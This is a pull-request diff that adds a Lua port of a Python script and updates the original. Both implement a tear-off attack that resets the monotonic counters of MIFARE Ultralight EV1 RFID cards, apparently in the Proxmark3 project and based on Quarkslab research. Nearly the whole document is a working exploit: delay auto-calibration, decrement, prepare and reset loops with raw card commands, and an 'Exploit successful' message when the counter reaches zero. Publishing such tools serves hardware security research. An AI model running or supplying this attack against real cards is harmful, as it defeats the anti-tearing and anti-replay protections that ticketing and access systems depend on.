Merge pull request #3725 from M35mar/mfuev1-counter-reset
HF MFU: rewrite hf mfu countertear as faithful port of mfuev1_counter_reset.py
This commit is contained in:
5 files changed
+1332
-561
No files matched your search
@@ -0,0 +1,624 @@
|
||||
-- Bypass Anti-Tearing on MIFARE Ultralight EV1 monotonic counters (tear-off).
|
||||
-- Lua port of the pyscript client/pyscripts/mfuev1_counter_reset.py (v2.2.0),
|
||||
-- based on Quarkslab research "RFID Monotonic Counter Anti-Tearing Defeated"
|
||||
--
|
||||
-- Script version: v1.0.0
|
||||
-- Original by W0rthlessS0ul (https://github.com/W0rthlessS0ul), updated by M35MAR
|
||||
|
||||
local ac = require('ansicolors')
|
||||
|
||||
copyright = '(c) 2025 W0rthlessS0ul, M35MAR'
|
||||
author = 'W0rthlessS0ul, M35MAR'
|
||||
version = 'v1.0.0'
|
||||
desc = [[
|
||||
Bypass Anti-Tearing on MIFARE Ultralight EV1 monotonic counters (tear-off).
|
||||
Lua port of the pyscript mfuev1_counter_reset.py, based on Quarkslab research]]
|
||||
example = [[
|
||||
-- default
|
||||
script run mfuev1_counter_reset.lua -c 0
|
||||
-- skip pre-flight checks
|
||||
script run mfuev1_counter_reset.lua -c 0 -f
|
||||
-- manual delays
|
||||
script run mfuev1_counter_reset.lua -c 0 --DelayBD 2720 --Delay00 2705
|
||||
]]
|
||||
usage = [[
|
||||
script run mfuev1_counter_reset.lua [-h | -f | -c <0-2> | --DelayBD <us> | --Delay00 <us>]
|
||||
]]
|
||||
arguments = [[
|
||||
-h This help
|
||||
-f Skip pre-flight checks
|
||||
-c Counter index (0-2)
|
||||
--DelayBD <us> Manual BD delay, disables auto-calibration
|
||||
--Delay00 <us> Manual 00 delay
|
||||
]]
|
||||
|
||||
-- Known EV1 limits / artifacts
|
||||
local COUNTER_MAX = 0xFFFFFF
|
||||
local COUNTER_PREPARE_TARGET = 0x00FFFF
|
||||
local TEAR_STUCK_VALUE = 6 -- counter may be read as 6 after a failed tear
|
||||
|
||||
-- Calibration and delay tuning
|
||||
local DELAY_BD_MIN = 2700
|
||||
local DELAY_BD_MAX = 5000
|
||||
local CAL_STEP_US = 5
|
||||
local DELAY_00_OFFSET = 10 -- delay_00 = BD - this offset
|
||||
local DELAY_TUNE_STEP = 1
|
||||
local DELAY_TUNE_JUMP = 10
|
||||
|
||||
local RETRY_COUNT = 3
|
||||
local RETRY_SLEEP_MS = 200
|
||||
local TEAR_REPAIR_ATTEMPTS = 5
|
||||
|
||||
local NACK_BYTES = { ['04'] = true, ['05'] = true, ['06'] = true, ['0A'] = true, ['0a'] = true }
|
||||
-- CHECK_TEARING_EVENT only ever answers 0x00 (no tear) or 0xBD (tear detected).
|
||||
local VALID_TEARING_BYTES = { ['00'] = true, ['BD'] = true }
|
||||
|
||||
-- Helper: same marker style as the python script, "[<char>]" with a colored char
|
||||
local function mark(colorname, char)
|
||||
return '[' .. ac[colorname] .. char .. ac.reset .. ']'
|
||||
end
|
||||
|
||||
local function strip_ansi(text)
|
||||
return (tostring(text):gsub('\27%[[%d;]*m', ''))
|
||||
end
|
||||
|
||||
-- Return hex bytes from the last Proxmark3 [+] line, before the CRC bracket
|
||||
local function extract_pm3_payload(output)
|
||||
local clean = strip_ansi(output)
|
||||
local last = nil
|
||||
for m in clean:gmatch('%[%+%]%s+([^%n%[]+)') do last = m end
|
||||
if not last then return '' end
|
||||
last = last:gsub('%s+%[.*$', '')
|
||||
return last:gsub('^%s+', ''):gsub('%s+$', '')
|
||||
end
|
||||
|
||||
local function format_counter_hex(counter_int)
|
||||
return string.format('%02X%02X%02X',
|
||||
counter_int % 0x100,
|
||||
math.floor(counter_int / 0x100) % 0x100,
|
||||
math.floor(counter_int / 0x10000) % 0x100)
|
||||
end
|
||||
|
||||
-- Return 6 hex chars, little-endian (LSB first) for INCR_CNT
|
||||
local int_to_incr_bytes = format_counter_hex
|
||||
|
||||
local function run_pm3(cmd)
|
||||
return strip_ansi(core.console(cmd, true, true) or '')
|
||||
end
|
||||
|
||||
local function wake_card()
|
||||
run_pm3('hf 14a reader')
|
||||
end
|
||||
|
||||
local function sleep(ms)
|
||||
core.console('msleep -t ' .. ms)
|
||||
end
|
||||
|
||||
local function parse_counter_output(output)
|
||||
local payload = extract_pm3_payload(output)
|
||||
if payload == '' then return nil, nil end
|
||||
|
||||
local parts = {}
|
||||
for tok in payload:gmatch('%S+') do parts[#parts + 1] = tok end
|
||||
-- Single-byte reply is usually a NACK, not a 24-bit counter.
|
||||
if #parts == 1 then return nil, nil end
|
||||
if #parts < 3 then return nil, nil end
|
||||
|
||||
local b = {}
|
||||
for i = 1, 3 do
|
||||
local v = tonumber(parts[i], 16)
|
||||
if v == nil then return nil, nil end
|
||||
b[i] = v
|
||||
end
|
||||
local counter_int = b[1] + b[2] * 0x100 + b[3] * 0x10000
|
||||
return format_counter_hex(counter_int), counter_int
|
||||
end
|
||||
|
||||
-- Return (torn, raw) or (nil, raw) when the reply is not a valid tearing byte.
|
||||
local function parse_tearing_output(output)
|
||||
local payload = extract_pm3_payload(output)
|
||||
if payload == '' then return nil, '?' end
|
||||
|
||||
local tearing = nil
|
||||
for tok in payload:gmatch('%S+') do tearing = tok break end
|
||||
if tearing == nil then return nil, '?' end
|
||||
tearing = tearing:upper()
|
||||
if not VALID_TEARING_BYTES[tearing] then return nil, tearing end
|
||||
return tearing == 'BD', tearing
|
||||
end
|
||||
|
||||
local function read_counter(counter_index)
|
||||
for _ = 1, RETRY_COUNT do
|
||||
local counter_hex, counter_int = parse_counter_output(
|
||||
run_pm3(('hf 14a raw -s -c 39 0%s'):format(counter_index)))
|
||||
if counter_hex ~= nil then return counter_hex, counter_int end
|
||||
wake_card()
|
||||
sleep(RETRY_SLEEP_MS)
|
||||
end
|
||||
return nil, nil
|
||||
end
|
||||
|
||||
local function check_tearing_event(counter_index)
|
||||
for _ = 1, RETRY_COUNT do
|
||||
local tearing_ok, tearing = parse_tearing_output(
|
||||
run_pm3(('hf 14a raw -s -c 3E 0%s'):format(counter_index)))
|
||||
if tearing_ok ~= nil then return tearing_ok, tearing end
|
||||
sleep(RETRY_SLEEP_MS)
|
||||
end
|
||||
return false, '?'
|
||||
end
|
||||
|
||||
local function enable_tearoff(delay_us)
|
||||
run_pm3(('hw tearoff --delay %d'):format(delay_us))
|
||||
local output = run_pm3('hw tearoff --on')
|
||||
return output:lower():find('enabled', 1, true) ~= nil
|
||||
end
|
||||
|
||||
local function disable_tearoff()
|
||||
run_pm3('hw tearoff --off')
|
||||
end
|
||||
|
||||
local function incr_cnt(counter_index, payload_hex)
|
||||
run_pm3(('hf 14a raw -s -c A5 0%s %s 00'):format(counter_index, payload_hex))
|
||||
end
|
||||
|
||||
local function repair_tear_flag(counter_index)
|
||||
wake_card()
|
||||
for _ = 1, TEAR_REPAIR_ATTEMPTS do
|
||||
local _, tearing = check_tearing_event(counter_index)
|
||||
if VALID_TEARING_BYTES[tearing] then return true end
|
||||
incr_cnt(counter_index, '000000')
|
||||
incr_cnt(counter_index, '000000')
|
||||
sleep(RETRY_SLEEP_MS)
|
||||
end
|
||||
|
||||
print(mark('yellow', '!') .. ' Attempting tear-off repair...')
|
||||
enable_tearoff(2950)
|
||||
incr_cnt(counter_index, '010000')
|
||||
sleep(RETRY_SLEEP_MS)
|
||||
wake_card()
|
||||
local _, tearing = check_tearing_event(counter_index)
|
||||
return VALID_TEARING_BYTES[tearing] == true
|
||||
end
|
||||
|
||||
local function normalize_tear_flag(counter_index)
|
||||
for _ = 1, TEAR_REPAIR_ATTEMPTS * 2 do
|
||||
local _, tearing = check_tearing_event(counter_index)
|
||||
if VALID_TEARING_BYTES[tearing] then return end
|
||||
incr_cnt(counter_index, '000000')
|
||||
end
|
||||
end
|
||||
|
||||
local function run_decrement_step(counter_index, delay_bd, delay_00)
|
||||
enable_tearoff(delay_bd)
|
||||
incr_cnt(counter_index, '000100')
|
||||
enable_tearoff(delay_00)
|
||||
incr_cnt(counter_index, '000000')
|
||||
enable_tearoff(delay_bd)
|
||||
incr_cnt(counter_index, '000000')
|
||||
enable_tearoff(delay_00)
|
||||
incr_cnt(counter_index, '000000')
|
||||
normalize_tear_flag(counter_index)
|
||||
end
|
||||
|
||||
local function run_reset_step(counter_index, delay_bd, delay_00)
|
||||
enable_tearoff(delay_bd)
|
||||
incr_cnt(counter_index, '010000')
|
||||
enable_tearoff(delay_00)
|
||||
incr_cnt(counter_index, '000000')
|
||||
normalize_tear_flag(counter_index)
|
||||
end
|
||||
|
||||
-- Tune BD delay based on counter changes, locked delay is kept as is
|
||||
local function tune_delay(delay_bd, previous_counter, current_counter, locked)
|
||||
if locked then return delay_bd end
|
||||
if current_counter == previous_counter then
|
||||
return math.min(DELAY_BD_MAX, delay_bd + DELAY_TUNE_STEP)
|
||||
end
|
||||
if current_counter - previous_counter > DELAY_TUNE_JUMP then
|
||||
return math.max(DELAY_BD_MIN, delay_bd - DELAY_TUNE_STEP)
|
||||
end
|
||||
return delay_bd
|
||||
end
|
||||
|
||||
local function is_ev1_card()
|
||||
wake_card()
|
||||
local payload = extract_pm3_payload(run_pm3('hf 14a raw -s -c 60'))
|
||||
local parts = {}
|
||||
for tok in payload:gmatch('%S+') do parts[#parts + 1] = tok end
|
||||
|
||||
-- GET_VERSION layout: [0]=?, [1]=vendor, [2]=product type, [3]=subtype,
|
||||
-- [4]=major version, [5]=minor version, [6]=size, [7]=protocol type.
|
||||
-- MIFARE Ultralight EV1 -> product type 0x03, major version 0x01.
|
||||
-- NTAG also reports major 0x01, so the product type must be checked too.
|
||||
if #parts >= 5 then
|
||||
local product_type = tonumber(parts[3], 16)
|
||||
local major_version = tonumber(parts[5], 16)
|
||||
if product_type and major_version then
|
||||
if product_type == 0x03 and major_version == 0x01 then return true end
|
||||
end
|
||||
end
|
||||
|
||||
local info = run_pm3('hf mfu info'):lower()
|
||||
if info:find('ul ev1', 1, true) ~= nil then return true end
|
||||
if info:find('ultralight ev1', 1, true) ~= nil then return true end
|
||||
if info:find('ul%-ev1', 1, true) ~= nil then return true end
|
||||
return false
|
||||
end
|
||||
|
||||
local function preflight_checks(counter_index)
|
||||
wake_card()
|
||||
if not is_ev1_card() then
|
||||
print(mark('red', '!') .. ' Support only Mifare UL EV1 cards')
|
||||
return false
|
||||
end
|
||||
|
||||
if not repair_tear_flag(counter_index) then
|
||||
local _, tearing = check_tearing_event(counter_index)
|
||||
print(mark('red', '!') .. (' Could not repair tear flag (got 0x%s)'):format(tearing))
|
||||
return false
|
||||
end
|
||||
|
||||
local _, tearing = check_tearing_event(counter_index)
|
||||
if not VALID_TEARING_BYTES[tearing] then
|
||||
print(mark('red', '!') .. ' Card does not support CHECK_TEARING_EVENT')
|
||||
return false
|
||||
end
|
||||
|
||||
local _, counter = read_counter(counter_index)
|
||||
if counter == nil then
|
||||
print(mark('red', '!') .. ' Cannot read initial counter')
|
||||
return false
|
||||
end
|
||||
if counter == COUNTER_MAX then
|
||||
print(mark('red', '!') .. string.format(' Counter is at maximum (0x%06X), cannot reset', COUNTER_MAX))
|
||||
return false
|
||||
end
|
||||
if counter == 0 then
|
||||
print(mark('red', '!') .. ' Counter is already at minimum (0)')
|
||||
return false
|
||||
end
|
||||
|
||||
print(mark('blue', '*') .. string.format(' Counter %s: %d (0x%s) | Tear: 0x%s',
|
||||
counter_index, counter, format_counter_hex(counter), tearing))
|
||||
return true
|
||||
end
|
||||
|
||||
-- Auto-calibrate the BD delay. Returns (delay_bd, delay_00) or (nil, nil) on
|
||||
-- failure; an interruption mid-loop returns the current (best_bd, nil) exactly
|
||||
-- like the python script does.
|
||||
local function calibrate_bd_delay(counter_index)
|
||||
local best_bd = nil
|
||||
|
||||
local delay_bd = DELAY_BD_MIN
|
||||
while delay_bd < DELAY_BD_MAX do
|
||||
if core.kbd_enter_pressed() then
|
||||
return best_bd, nil
|
||||
end
|
||||
|
||||
local initial_hex, initial_int = read_counter(counter_index)
|
||||
if initial_hex == nil then
|
||||
repair_tear_flag(counter_index)
|
||||
else
|
||||
enable_tearoff(delay_bd)
|
||||
incr_cnt(counter_index, '000000')
|
||||
local check_tearing, tear_flag = check_tearing_event(counter_index)
|
||||
incr_cnt(counter_index, '000000')
|
||||
incr_cnt(counter_index, '000000')
|
||||
|
||||
local final_hex, final_int = read_counter(counter_index)
|
||||
if final_hex == nil then
|
||||
repair_tear_flag(counter_index)
|
||||
else
|
||||
local tear_color = check_tearing and ac.green or ac.red
|
||||
local stable = final_int == initial_int
|
||||
io.write("\r[" .. ac.yellow .. "=" .. ac.reset .. "] Testing delay: "
|
||||
.. ac.yellow .. delay_bd .. ac.reset .. " us | "
|
||||
.. "Check tearing: " .. tear_color .. tear_flag .. ac.reset .. " | "
|
||||
.. "Counter: " .. ac.yellow .. initial_hex:upper() .. ac.reset
|
||||
.. " -> " .. ac.yellow .. final_hex:upper() .. ac.reset)
|
||||
io.flush()
|
||||
|
||||
if check_tearing then
|
||||
best_bd = delay_bd
|
||||
if stable then
|
||||
print("\n" .. mark('green', '+') .. " Working BD delay: "
|
||||
.. ac.green .. delay_bd .. ac.reset .. " us")
|
||||
return delay_bd, math.max(DELAY_BD_MIN, delay_bd - DELAY_00_OFFSET)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
delay_bd = delay_bd + CAL_STEP_US
|
||||
end
|
||||
|
||||
if best_bd ~= nil then
|
||||
print("\n" .. mark('yellow', '!') .. " Counter drift during calibration; "
|
||||
.. "using last BD delay: " .. ac.green .. best_bd .. ac.reset .. " us")
|
||||
return best_bd, math.max(DELAY_BD_MIN, best_bd - DELAY_00_OFFSET)
|
||||
end
|
||||
|
||||
print("\n" .. mark('red', '!') .. " Auto-calibration failed; try manual --DelayBD 2720")
|
||||
return nil, nil
|
||||
end
|
||||
|
||||
local function attack_loop(counter_index, delay_bd, delay_00)
|
||||
local phase = 'decrement'
|
||||
local attempt = 0
|
||||
local reset_attempts = 0
|
||||
local delay_locked = false
|
||||
|
||||
local _, baseline_counter = read_counter(counter_index)
|
||||
if baseline_counter == nil then baseline_counter = 0 end
|
||||
|
||||
local tune_reference = baseline_counter
|
||||
local reset_reference = baseline_counter
|
||||
|
||||
while core.kbd_enter_pressed() == false do
|
||||
local counter_hex, counter_int = read_counter(counter_index)
|
||||
if counter_hex == nil then
|
||||
repair_tear_flag(counter_index)
|
||||
sleep(RETRY_SLEEP_MS)
|
||||
elseif counter_int == 0 then
|
||||
print('\n[+] Exploit successful')
|
||||
return true
|
||||
elseif counter_int == TEAR_STUCK_VALUE then
|
||||
repair_tear_flag(counter_index)
|
||||
elseif phase == 'decrement' then
|
||||
if counter_int <= COUNTER_PREPARE_TARGET then
|
||||
print('\n[=] Switching to PREPARE phase (counter <= 0x00FFFF)')
|
||||
incr_cnt(counter_index, '000000')
|
||||
sleep(RETRY_SLEEP_MS)
|
||||
incr_cnt(counter_index, '000000')
|
||||
phase = 'prepare'
|
||||
reset_reference = counter_int
|
||||
else
|
||||
local initial_hex, initial_int = counter_hex, counter_int
|
||||
run_decrement_step(counter_index, delay_bd, delay_00)
|
||||
|
||||
if core.kbd_enter_pressed() then break end
|
||||
|
||||
local final_hex, final_int = read_counter(counter_index)
|
||||
if final_hex ~= nil and final_int ~= TEAR_STUCK_VALUE then
|
||||
local _, tear_flag = check_tearing_event(counter_index)
|
||||
attempt = attempt + 1
|
||||
io.write("\r[" .. ac.red .. "DEC" .. ac.reset .. "] Att " .. attempt
|
||||
.. " | BD/00: " .. delay_bd .. "/" .. delay_00 .. " us"
|
||||
.. " | Tear: " .. tear_flag
|
||||
.. " | " .. initial_hex:upper() .. " -> " .. final_hex:upper() .. " ")
|
||||
io.flush()
|
||||
|
||||
if final_int < initial_int then
|
||||
print("\n" .. mark('green', '+') .. " Decrement! "
|
||||
.. initial_hex:upper() .. " -> " .. final_hex:upper()
|
||||
.. " (delta " .. (initial_int - final_int) .. ")")
|
||||
-- Consolidate the drop by normalizing tear flag
|
||||
normalize_tear_flag(counter_index)
|
||||
delay_locked = true
|
||||
tune_reference = final_int
|
||||
elseif final_int > initial_int then
|
||||
if delay_locked then
|
||||
delay_locked = false
|
||||
tune_reference = final_int
|
||||
else
|
||||
local new_delay = tune_delay(delay_bd, tune_reference, final_int, false)
|
||||
if new_delay ~= delay_bd then delay_bd = new_delay end
|
||||
tune_reference = final_int
|
||||
end
|
||||
else
|
||||
if not delay_locked then
|
||||
local new_delay = tune_delay(delay_bd, tune_reference, final_int, false)
|
||||
if new_delay ~= delay_bd then delay_bd = new_delay end
|
||||
tune_reference = final_int
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
elseif phase == 'prepare' then
|
||||
if counter_int < COUNTER_PREPARE_TARGET and counter_int ~= TEAR_STUCK_VALUE then
|
||||
local diff = COUNTER_PREPARE_TARGET - counter_int
|
||||
local diff_hex = int_to_incr_bytes(diff)
|
||||
io.write("\r[" .. ac.yellow .. "PREPARE" .. ac.reset .. "] Incrementing by " .. diff
|
||||
.. " to reach 0x" .. string.format('%06X', COUNTER_PREPARE_TARGET) .. "...")
|
||||
io.flush()
|
||||
incr_cnt(counter_index, diff_hex)
|
||||
incr_cnt(counter_index, '000000')
|
||||
elseif counter_int == COUNTER_PREPARE_TARGET then
|
||||
print(string.format('\n[=] Counter at 0x%06X, switching to RESET phase', COUNTER_PREPARE_TARGET))
|
||||
phase = 'reset'
|
||||
reset_attempts = 0
|
||||
reset_reference = COUNTER_PREPARE_TARGET
|
||||
delay_locked = false
|
||||
else
|
||||
phase = 'decrement'
|
||||
end
|
||||
elseif phase == 'reset' then
|
||||
local initial_hex, initial_int = counter_hex, counter_int
|
||||
run_reset_step(counter_index, delay_bd, delay_00)
|
||||
|
||||
if core.kbd_enter_pressed() then break end
|
||||
|
||||
local final_hex, final_int = read_counter(counter_index)
|
||||
if final_hex ~= nil and final_int ~= TEAR_STUCK_VALUE then
|
||||
reset_attempts = reset_attempts + 1
|
||||
io.write("\r[" .. ac.green .. "RESET" .. ac.reset .. "] Att " .. reset_attempts
|
||||
.. " | BD/00: " .. delay_bd .. "/" .. delay_00 .. " us"
|
||||
.. " | " .. initial_hex:upper() .. " -> " .. final_hex:upper() .. " ")
|
||||
io.flush()
|
||||
|
||||
if final_int == 0 then
|
||||
print('\n[+] ' .. ac.green .. 'Exploit successful' .. ac.reset)
|
||||
return true
|
||||
end
|
||||
|
||||
if final_int > COUNTER_PREPARE_TARGET then
|
||||
print('\n[=] Counter increased, returning to DECREMENT')
|
||||
phase = 'decrement'
|
||||
tune_reference = final_int
|
||||
delay_locked = false
|
||||
elseif final_int == initial_int then
|
||||
local new_delay = tune_delay(delay_bd, reset_reference, final_int, false)
|
||||
if new_delay ~= delay_bd then delay_bd = new_delay end
|
||||
reset_reference = final_int
|
||||
elseif final_int < initial_int then
|
||||
print("\n" .. mark('green', '+') .. " Reset decrement! "
|
||||
.. initial_hex:upper() .. " -> " .. final_hex:upper()
|
||||
.. " (delta " .. (initial_int - final_int) .. ")")
|
||||
delay_locked = true
|
||||
reset_reference = final_int
|
||||
end
|
||||
-- else final_int slightly higher but still within range - ignore
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
local function print_help()
|
||||
print(ac.cyan .. 'Counter reset of Mifare UL EV1 cards' .. ac.reset)
|
||||
print()
|
||||
print(ac.green .. 'usage:' .. ac.reset .. ' script run mfuev1_counter_reset.lua [-h | -f | -c <0-2> | --DelayBD <us> | --Delay00 <us>]')
|
||||
print()
|
||||
print(ac.green .. 'options:' .. ac.reset)
|
||||
print(' -h This help')
|
||||
print(' -c Counter index (0-2)')
|
||||
print(' -f Skip pre-flight checks')
|
||||
print(' --DelayBD <us> Manual BD delay, disables auto-calibration')
|
||||
print(' --Delay00 <us> Manual 00 delay')
|
||||
print()
|
||||
print(ac.green .. 'examples:' .. ac.reset)
|
||||
print(' script run mfuev1_counter_reset.lua -c 0')
|
||||
print(' script run mfuev1_counter_reset.lua -c 0 -f')
|
||||
print(' script run mfuev1_counter_reset.lua -c 0 --DelayBD 2720 --Delay00 2705')
|
||||
return 0
|
||||
end
|
||||
|
||||
local function parse_args(argstr)
|
||||
local opts = { cnt = '0', force = false, delaybd = nil, delay00 = nil }
|
||||
local toks = {}
|
||||
for t in argstr:gmatch('%S+') do toks[#toks + 1] = t end
|
||||
|
||||
local i = 1
|
||||
while i <= #toks do
|
||||
local t = toks[i]
|
||||
|
||||
if t == '-h' or t == '--help' then
|
||||
opts.help = true
|
||||
elseif t == '-f' or t == '--force' then
|
||||
opts.force = true
|
||||
elseif t == '-c' or t == '--cnt' then
|
||||
i = i + 1
|
||||
if toks[i] == nil then return nil, '-c/--cnt requires a value' end
|
||||
opts.cnt = toks[i]
|
||||
elseif t:sub(1, 2) == '-c' and #t > 2 then
|
||||
opts.cnt = t:sub(3)
|
||||
elseif t:sub(1, 9) == '--DelayBD' then
|
||||
local v = t:match('^%-%-DelayBD=(.*)$')
|
||||
if v == nil then
|
||||
i = i + 1
|
||||
v = toks[i]
|
||||
end
|
||||
if v == nil then return nil, '--DelayBD requires a value' end
|
||||
opts.delaybd = tonumber(v)
|
||||
elseif t:sub(1, 9) == '--Delay00' then
|
||||
local v = t:match('^%-%-Delay00=(.*)$')
|
||||
if v == nil then
|
||||
i = i + 1
|
||||
v = toks[i]
|
||||
end
|
||||
if v == nil then return nil, '--Delay00 requires a value' end
|
||||
opts.delay00 = tonumber(v)
|
||||
else
|
||||
return nil, 'unrecognized argument: ' .. t
|
||||
end
|
||||
|
||||
i = i + 1
|
||||
end
|
||||
|
||||
if opts.cnt ~= '0' and opts.cnt ~= '1' and opts.cnt ~= '2' then
|
||||
return nil, "invalid choice for -c/--cnt: '" .. tostring(opts.cnt) .. "' (choose from '0', '1', '2')"
|
||||
end
|
||||
if opts.delaybd ~= nil and math.floor(opts.delaybd) ~= opts.delaybd then
|
||||
return nil, 'invalid int value for --DelayBD: must be an integer'
|
||||
end
|
||||
if opts.delay00 ~= nil and math.floor(opts.delay00) ~= opts.delay00 then
|
||||
return nil, 'invalid int value for --Delay00: must be an integer'
|
||||
end
|
||||
|
||||
return opts, nil
|
||||
end
|
||||
|
||||
-- Main body, run through pcall so disable_tearoff() always executes (finally)
|
||||
local function main_body(argstr)
|
||||
local opts, err = parse_args(argstr)
|
||||
if err ~= nil or opts.help then
|
||||
if err ~= nil then
|
||||
print(mark('yellow', '?') .. ' ' .. err)
|
||||
io.write('\n')
|
||||
end
|
||||
print_help()
|
||||
return (err ~= nil) and 1 or 0
|
||||
end
|
||||
|
||||
print(ac.cyan .. 'Attack against the monotonic counters of MFU EV1 using the tear-off technique.' .. ac.reset)
|
||||
print(ac.cyan .. 'Note: If the counter does not reset after a few attempts, increment it to 2^n and retry.' .. ac.reset)
|
||||
print()
|
||||
|
||||
if not opts.force and not preflight_checks(opts.cnt) then
|
||||
print(mark('yellow', '?') .. ' Try ' .. ac.yellow .. "`script run mfuev1_counter_reset.lua -f`" .. ac.reset .. ' if this is a false negative')
|
||||
return 1
|
||||
end
|
||||
|
||||
local delay_bd, delay_00
|
||||
|
||||
if opts.delaybd == nil then
|
||||
local bd, d00 = calibrate_bd_delay(opts.cnt)
|
||||
if bd == nil then
|
||||
-- python: result[0] is None -> silent exit (no additional message)
|
||||
return 1
|
||||
end
|
||||
delay_bd, delay_00 = bd, d00
|
||||
if opts.delay00 ~= nil then
|
||||
delay_00 = opts.delay00
|
||||
print(mark('green', '+') .. ' Using manual 00 delay: ' .. ac.green .. delay_00 .. ac.reset .. ' us')
|
||||
end
|
||||
else
|
||||
delay_bd = opts.delaybd
|
||||
delay_00 = opts.delay00 ~= nil and opts.delay00 or delay_bd - DELAY_00_OFFSET
|
||||
print(mark('green', '+') .. ' Using manual BD delay: ' .. ac.green .. delay_bd .. ac.reset .. ' us')
|
||||
if opts.delay00 ~= nil then
|
||||
print(mark('green', '+') .. ' Using manual 00 delay: ' .. ac.green .. delay_00 .. ac.reset .. ' us')
|
||||
end
|
||||
end
|
||||
|
||||
if core.kbd_enter_pressed() then
|
||||
print('\n[x] Interrupted by user.')
|
||||
return 0
|
||||
end
|
||||
|
||||
if attack_loop(opts.cnt, delay_bd, delay_00) then
|
||||
return 0
|
||||
end
|
||||
|
||||
if core.kbd_enter_pressed() then
|
||||
print('\n[x] Interrupted by user.')
|
||||
return 0
|
||||
end
|
||||
return 1
|
||||
end
|
||||
|
||||
local function run(argstr)
|
||||
if type(argstr) ~= 'string' then argstr = '' end
|
||||
local ok, res = pcall(main_body, argstr)
|
||||
-- python finally: always deactivate the tear-off hook
|
||||
disable_tearoff()
|
||||
if not ok then
|
||||
print('\n[x] Error: ' .. tostring(res))
|
||||
return 1
|
||||
end
|
||||
return res or 0
|
||||
end
|
||||
|
||||
return run(args)
|
||||
@@ -7,10 +7,15 @@
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# See LICENSE.txt for the text of the license.
|
||||
#-----------------------------------------------------------------------------
|
||||
# Bypass Anti-Tearing on MIFARE Ultralight EV1 monotonic counters (tear-off).
|
||||
# Script version: 2.0.0
|
||||
# Script version: 2.2.0
|
||||
# Created by W0rthlessS0ul (https://github.com/W0rthlessS0ul)
|
||||
# Based on Quarkslab research: https://blog.quarkslab.com/rfid-monotonic-counter-anti-tearing-defeated.html
|
||||
# Updated by M35MAR (https://github.com/M35mar)
|
||||
@@ -22,6 +27,7 @@ import re
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
from typing import Tuple, Optional
|
||||
|
||||
import pm3
|
||||
|
||||
@@ -54,6 +60,8 @@ TEAR_REPAIR_ATTEMPTS = 5
|
||||
ANSI_ESCAPE = re.compile(r"\x1b\[[0-9;]*m")
|
||||
PM3_PAYLOAD_RE = re.compile(r"\[\+\]\s+([^\n\[]+)")
|
||||
NACK_BYTES = frozenset({"04", "05", "06", "0A", "0a"})
|
||||
# CHECK_TEARING_EVENT only ever answers 0x00 (no tear) or 0xBD (tear detected).
|
||||
VALID_TEARING_BYTES = frozenset({"00", "BD"})
|
||||
|
||||
p = pm3.pm3()
|
||||
|
||||
@@ -72,7 +80,9 @@ def build_parser():
|
||||
)
|
||||
),
|
||||
)
|
||||
parser.add_argument("-c", "--cnt", metavar="", default="0", help="Counter index (0-2)")
|
||||
parser.add_argument(
|
||||
"-c", "--cnt", metavar="", choices=["0", "1", "2"], default="0", help="Counter index (0-2)"
|
||||
)
|
||||
parser.add_argument("-f", "--force", action="store_true", help="Skip pre-flight checks")
|
||||
parser.add_argument("--DelayBD", metavar="", type=int, help="Manual BD delay (us, disables auto-calibration)")
|
||||
parser.add_argument("--Delay00", metavar="", type=int, help="Manual 00 delay (us)")
|
||||
@@ -125,7 +135,7 @@ def wake_card() -> None:
|
||||
run_pm3("hf 14a reader")
|
||||
|
||||
|
||||
def parse_counter_output(output: str):
|
||||
def parse_counter_output(output: str) -> Tuple[Optional[str], Optional[int]]:
|
||||
payload = extract_pm3_payload(output)
|
||||
if not payload:
|
||||
return None, None
|
||||
@@ -149,16 +159,23 @@ def parse_counter_output(output: str):
|
||||
return format_counter_hex(counter_int), counter_int
|
||||
|
||||
|
||||
def parse_tearing_output(output: str):
|
||||
def parse_tearing_output(output: str) -> Tuple[Optional[bool], str]:
|
||||
"""Return (torn, raw) or (None, raw) when the reply is not a valid tearing byte.
|
||||
|
||||
A single NACK byte (e.g. 0A) is reported as (None, "0A") so the caller can retry
|
||||
instead of mistaking it for a real "00"/"BD" answer.
|
||||
"""
|
||||
payload = extract_pm3_payload(output)
|
||||
if not payload:
|
||||
return False, "?"
|
||||
return None, "?"
|
||||
|
||||
tearing = payload.split()[0].upper()
|
||||
if tearing not in VALID_TEARING_BYTES:
|
||||
return None, tearing
|
||||
return tearing == "BD", tearing
|
||||
|
||||
|
||||
def read_counter(counter_index: str):
|
||||
def read_counter(counter_index: str) -> Tuple[Optional[str], Optional[int]]:
|
||||
for _ in range(RETRY_COUNT):
|
||||
output = run_pm3(f"hf 14a raw -s -c 39 0{counter_index}")
|
||||
counter_hex, counter_int = parse_counter_output(output)
|
||||
@@ -169,13 +186,13 @@ def read_counter(counter_index: str):
|
||||
return None, None
|
||||
|
||||
|
||||
def check_tearing_event(counter_index: str):
|
||||
def check_tearing_event(counter_index: str) -> Tuple[bool, str]:
|
||||
for _ in range(RETRY_COUNT):
|
||||
output = run_pm3(f"hf 14a raw -s -c 3E 0{counter_index}")
|
||||
try:
|
||||
return parse_tearing_output(output)
|
||||
except (IndexError, ValueError):
|
||||
time.sleep(RETRY_SLEEP_S)
|
||||
tearing_ok, tearing = parse_tearing_output(output)
|
||||
if tearing_ok is not None:
|
||||
return tearing_ok, tearing
|
||||
time.sleep(RETRY_SLEEP_S)
|
||||
return False, "?"
|
||||
|
||||
|
||||
@@ -197,7 +214,7 @@ def repair_tear_flag(counter_index: str) -> bool:
|
||||
wake_card()
|
||||
for _ in range(TEAR_REPAIR_ATTEMPTS):
|
||||
_, tearing = check_tearing_event(counter_index)
|
||||
if tearing in ("00", "BD"):
|
||||
if tearing in VALID_TEARING_BYTES:
|
||||
return True
|
||||
incr_cnt(counter_index, "000000")
|
||||
incr_cnt(counter_index, "000000")
|
||||
@@ -209,12 +226,12 @@ def repair_tear_flag(counter_index: str) -> bool:
|
||||
time.sleep(RETRY_SLEEP_S)
|
||||
wake_card()
|
||||
_, tearing = check_tearing_event(counter_index)
